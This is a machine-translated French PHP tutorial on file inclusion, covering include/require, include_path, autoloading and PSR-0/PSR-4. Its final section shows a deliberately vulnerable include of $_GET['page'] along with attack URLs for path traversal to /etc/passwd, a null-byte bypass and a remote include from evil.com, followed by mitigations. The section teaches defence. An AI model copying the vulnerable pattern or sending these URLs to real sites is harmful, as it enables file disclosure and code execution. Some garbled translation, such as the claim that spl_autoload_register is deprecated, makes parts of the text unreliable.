PHP pour les débutants. Connexion de fichier

image


Dans la suite de la série PHP pour débutants, l'article d'aujourd'hui se concentrera sur la façon dont PHP recherche et connecte les fichiers.

Pourquoi et pourquoi


PHP est un langage de script qui a été créé à l'origine pour sculpter rapidement les pages d'accueil (oui, oui, c'était à l'origine P ersonal H ome P Age Tools), et plus tard, il a commencé à créer sur ses genoux des boutiques, des programmes sociaux et d'autres métiers qui vont au-delà de ce qui était prévu , mais pourquoi suis-je - et le fait que plus la fonctionnalité est encodée, plus le désir de la structurer correctement, de se débarrasser de la duplication de code, de la décomposer en morceaux logiques et de se connecter uniquement si nécessaire (c'est le même sentiment que vous aviez lorsque tu l'as lu avant position, il pourrait être divisé en morceaux séparés). A cet effet, PHP a plusieurs fonctions, dont la signification générale est de connecter et d'interpréter le fichier spécifié. Regardons un exemple de connexion de fichiers:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

Si vous exécutez le script index.php , alors PHP se connectera et exécutera tout cela en séquence:

 $a = 0; $a++; $a++; echo $a; //  2 

Lorsqu'un fichier est connecté, son code a la même portée que la ligne dans laquelle il était connecté, donc toutes les variables disponibles dans cette ligne seront disponibles dans le fichier inclus. Si des classes ou des fonctions ont été déclarées dans le fichier include, elles entrent alors dans la portée globale (à moins bien sûr qu'un espace de noms ait été spécifié pour elles).

Si vous connectez le fichier à l'intérieur de la fonction, les fichiers inclus ont accès à l'étendue de la fonction, donc le code suivant fonctionnera également:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

Séparément, je note les constantes magiques : __DIR__ , __FILE__ , __LINE__ et autres - elles sont liées au contexte et sont exécutées avant que l'inclusion ne se produise
La particularité de la connexion de fichiers est que lors de la connexion d'un fichier, l'analyse passe en mode HTML, pour cette raison, tout code à l'intérieur du fichier inclus doit être inclus dans les balises PHP:

 <?php //   // ... // ?> 

Si vous n'avez que du code PHP dans le fichier, il est de coutume d'omettre la balise de fermeture, afin de ne pas oublier accidentellement tout fil de caractères après la balise de fermeture, ce qui est semé d'embûches (j'en discuterai dans le prochain article).
Avez-vous vu un fichier de site avec 10 000 lignes? Déjà des larmes aux yeux (╥_╥) ...

Fonctions de connexion de fichiers


Comme mentionné ci-dessus, en PHP, il existe plusieurs fonctions pour connecter des fichiers:

  • include - inclut et exécute le fichier spécifié, s'il ne le trouve pas - il donne une alerte E_WARNING
  • include_once - similaire à la fonction ci-dessus, mais inclut le fichier une fois
  • require - inclut et exécute le fichier spécifié, s'il ne le trouve pas - il donne une erreur fatale E_ERROR
  • require_once - similaire à la fonction ci-dessus, mais inclut le fichier une fois

En réalité, ce ne sont pas exactement des fonctions, ce sont des constructions de langage spéciales et les parenthèses peuvent être omises. Entre autres choses, il existe d'autres façons de connecter et d'exécuter des fichiers, mais creusez-le vous-même, que ce soit une «tâche avec un astérisque» pour vous;)
Prenons un exemple des différences entre require et require_once , prenons un fichier echo.php :

 <p>text of file echo.php</p> 

Et nous allons le connecter plusieurs fois:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

Le résultat de l'exécution sera deux connexions au fichier echo.php :

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

Il y a quelques autres directives qui affectent la connexion, mais vous n'en aurez pas besoin - auto_prepend_file et auto_append_file . Ces directives vous permettent d'installer des fichiers qui seront connectés avant que tous les fichiers soient connectés et après que tous les scripts soient exécutés, respectivement. Je ne peux même pas proposer un scénario «en direct» quand cela peut être nécessaire.

Tâche
Vous pouvez trouver et implémenter un script pour utiliser les auto_append_file auto_prepend_file et auto_append_file , vous ne pouvez les changer que dans php.ini , .htaccess ou httpd.conf (voir PHP_INI_PERDIR ) :)

Où cherche-t-on?


PHP recherche les fichiers d'inclusion dans les répertoires spécifiés dans la directive include_path . Cette directive affecte également le fonctionnement de fopen() , file() , readfile() et file_get_contents() . L'algorithme est assez simple - lors de la recherche de fichiers, PHP vérifie à tour de rôle chaque répertoire à partir de include_path , jusqu'à ce qu'il trouve un fichier à connecter, sinon, il renvoie une erreur. Pour modifier include_path partir d'un script, utilisez la fonction set_include_path () .

Il y a une chose importante à considérer lors de la configuration de include_path - différents caractères sont utilisés comme séparateur de chemin sous Windows et Linux - ";" et ":" respectivement, donc lorsque vous spécifiez votre répertoire, utilisez la constante PATH_SEPARATOR , par exemple:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

Lorsque vous écrivez include_path dans un fichier ini, vous pouvez utiliser des variables d'environnement comme ${USER} :

include_path = ".:${USER}/my-php-library"


Si vous incluez un chemin absolu (commençant par "/") ou relatif (commençant par "." Ou "..") lors de la connexion du fichier, la directive include_path sera ignorée et la recherche sera effectuée uniquement sur le chemin spécifié.
Peut-être que cela vaudrait la peine de parler de safe_mode , mais cela a longtemps été une histoire (depuis la version 5.4), et j'espère que vous ne la rencontrerez pas, mais si tout à coup, alors pour savoir ce que c'était, mais c'est passé ...

Utilisation du retour


Je vais vous parler d'un petit hack de vie - si le fichier inclus retourne quelque chose en utilisant la construction de return , alors ces données peuvent être obtenues et utilisées, afin que vous puissiez facilement organiser la connexion des fichiers de configuration, je vais donner un exemple à titre d'illustration:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

Faits intéressants, sans lesquels c'était également bon: si les fonctions sont définies dans le fichier inclus, elles peuvent être utilisées dans le fichier principal, qu'elles aient été déclarées avant le retour ou après
Tâche
Écrivez du code qui collectera la configuration à partir de plusieurs dossiers et fichiers. La structure du fichier est la suivante:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

Dans ce cas, le code devrait fonctionner comme suit:

  • s'il y a une variable PROJECT_PHP_SERVER dans l'environnement système et qu'elle est égale au development , tous les fichiers du dossier par défaut doivent être connectés, les données doivent être incluses dans la variable $config , puis les fichiers du dossier de développement doivent être connectés et les données reçues doivent broyer les éléments correspondants stockés dans $config
  • comportement similaire si PROJECT_PHP_SERVER est en production (naturellement uniquement pour le dossier de production )
  • s'il n'y a pas de variable, ou si elle n'est pas définie correctement, alors seuls les fichiers du dossier par défaut sont connectés


Connexion automatique


Les constructions avec des pièces jointes semblent très volumineuses et suivent également leur mise à jour - un autre cadeau, consultez un morceau de code de l' article d' exemple sur les exceptions :

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

La première tentative pour éviter un tel «bonheur» a été l'apparition de la fonction __autoload . Plus précisément, ce n'était même pas une fonction spécifique, vous deviez définir cette fonction vous-même, et avec elle, vous deviez connecter les fichiers dont nous avions besoin par le nom de la classe. La seule règle était que pour chaque classe, un fichier distinct devrait être créé par le nom de la classe (c'est-à-dire que maClasse devrait être à l'intérieur du fichier maClasse.php ). Voici un exemple d'implémentation d'une telle fonction __autoload() (extrait des commentaires du manuel officiel):

La classe que nous allons connecter:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

Le fichier qui relie cette classe:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

Maintenant, à propos des problèmes avec cette fonction - imaginez une situation où vous connectez du code tiers, et là, quelqu'un a déjà enregistré la fonction __autoload() pour votre code, et le tour est joué:

 Fatal error: Cannot redeclare __autoload() 

Pour éviter cela, nous avons créé une fonction qui vous permet d'enregistrer une fonction ou une méthode arbitraire en tant que chargeur de classe - spl_autoload_register . C'est-à-dire nous pouvons créer plusieurs fonctions avec un nom arbitraire pour charger des classes, et les enregistrer en utilisant spl_autoload_register . Maintenant, index.php ressemblera à ceci:

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

Le titre "le saviez-vous?": Le premier paramètre spl_autoload_register() est facultatif, et en appelant la fonction sans lui, la fonction spl_autoload sera utilisée comme chargeur, la recherche sera effectuée sur les dossiers de include_path et les fichiers avec l'extension .php et .inc , mais ceci la liste peut être développée à l'aide de la fonction spl_autoload_extensions
Maintenant, chaque développeur peut enregistrer son chargeur, l'essentiel est que les noms de classe ne correspondent pas, mais cela ne devrait pas être un problème si vous utilisez des espaces de noms.
Étant donné qu'une fonctionnalité avancée telle que spl_autoload_register() existe depuis longtemps, la fonction spl_autoload_register() est déjà déclarée obsolète en PHP 7.1 , ce qui signifie que dans un avenir prévisible, cette fonction sera complètement supprimée (X_x)
Eh bien, l'image s'est plus ou moins effacée, bien que tous les chargeurs de démarrage enregistrés soient mis en file d'attente lorsqu'ils sont enregistrés, respectivement, si quelqu'un l'a piégé dans son chargeur de démarrage, alors au lieu du résultat attendu, un bogue très désagréable se produira. Pour éviter cela, les adultes intelligents ont décrit une norme qui vous permet de connecter sans problème des bibliothèques tierces, l'essentiel est que l'organisation des classes y soit conforme à la norme PSR-0 (elle a déjà 10 ans) ou PSR-4 . Quelle est l'essence des exigences décrites dans les normes:

  1. Chaque bibliothèque doit vivre dans son propre espace de noms (le soi-disant espace de noms des fournisseurs)
  2. Chaque espace de noms doit avoir son propre dossier.
  3. À l'intérieur de l'espace de noms, il peut y avoir des sous-espaces - également dans des dossiers séparés
  4. Une classe - un fichier
  5. Le nom de fichier avec l'extension .php doit correspondre exactement au nom de la classe

Exemple du manuel:
Nom complet de la classeEspace de nomsRépertoire de baseChemin complet
\ Acme \ Log \ Writer \ File_WriterAcme \ Log \ Writer./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\ Aura \ Web \ Response \ StatusAura \ Web/ chemin / vers / aura-web / src //path/to/aura-web/src/Response/Status.php
\ Symfony \ Core \ RequestSymfony \ core./vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
\ Zend \ AclZend/ usr / inclut / Zend //usr/includes/Zend/Acl.php


Les différences entre ces deux normes sont que PSR-0 prend en charge l'ancien code sans espace de noms (c'est-à-dire avant la version 5.3.0), et PSR-4 est exempt de cet anachronisme et évite même l'imbrication inutile de dossiers.

Grâce à ces normes, il est devenu possible l'émergence d'un outil tel que composer - un gestionnaire de paquets universel pour PHP. Si quelqu'un a manqué, alors il y a un bon rapport de pronskiy sur cet outil.


Injection Php


Je voulais également parler de la première erreur de tous ceux qui font un seul point d'entrée pour le site dans un index.php et l'appelle le framework MVC:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

Vous regardez le code et vous voulez simplement y transférer quelque chose de malveillant:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

La première chose qui me vient à l'esprit est d'ajouter de force l'extension .php , mais dans certains cas, elle peut être contournée "grâce à" une vulnérabilité de zéro octet (lire cette vulnérabilité a été corrigée depuis longtemps , mais soudain vous rencontrez un interpréteur plus ancien que PHP 5.3, eh bien, pour le développement général recommande également):

 //    http://domain.com/index.php?page=/etc/passwd%00 

Dans les versions modernes de PHP, la présence d'un caractère zéro octet dans le chemin du fichier connecté conduit immédiatement à l'erreur de connexion correspondante, et même si le fichier spécifié existe et peut être connecté, le résultat sera toujours une erreur, il est vérifié comme suit strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (cela vient des entrailles de PHP lui-même)
La deuxième pensée «valable» consiste à rechercher un fichier dans le répertoire actuel:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

La troisième, mais pas la dernière modification de la vérification, est l'utilisation de la directive open_basedir , avec son aide, vous pouvez spécifier le répertoire où exactement PHP recherchera les fichiers à connecter:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

Attention, cette directive affecte non seulement la connexion des fichiers, mais aussi tous les travaux avec le système de fichiers, c'est-à-dire y compris cette restriction, vous devez vous assurer que vous n'avez rien oublié en dehors du répertoire spécifié, ni les données mises en cache, ni aucun fichier utilisateur (bien que les fonctions is_uploaded_file() et move_uploaded_file() continueront de fonctionner avec un dossier temporaire pour les fichiers téléchargés).
Quels autres contrôles sont possibles? Beaucoup d'options, tout dépend de l'architecture de votre application.

Je voulais également rappeler l'existence d'une «merveilleuse» directive allow_url_include (cela dépend de allow_url_fopen ), elle vous permet de vous connecter et d'exécuter des fichiers PHP distants, ce qui est beaucoup plus dangereux pour votre serveur:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

Vu, rappelez-vous et n'utilisez jamais, l'avantage est désactivé par défaut. Vous aurez besoin de cette fonctionnalité un peu moins que jamais; dans tous les autres cas, posez l'architecture d'application correcte, où différentes parties de l'application communiquent via l'API.

Tâche
Écrivez un script qui vous permet de connecter les scripts php du dossier actuel par nom, tout en vous rappelant les vulnérabilités possibles et en évitant les échecs.

En conclusion


Cet article est la base de PHP, alors étudiez attentivement, terminez les tâches et ne déposez pas, personne n'enseignera pour vous.

PS


Ceci est une rediffusion d'une série d'articles "PHP pour les débutants":


Si vous avez des commentaires sur le matériau de l'article, ou éventuellement sous forme, décrivez l'essentiel dans les commentaires, et nous améliorerons encore ce matériel.

Source: https://habr.com/ru/post/fr439618/


All Articles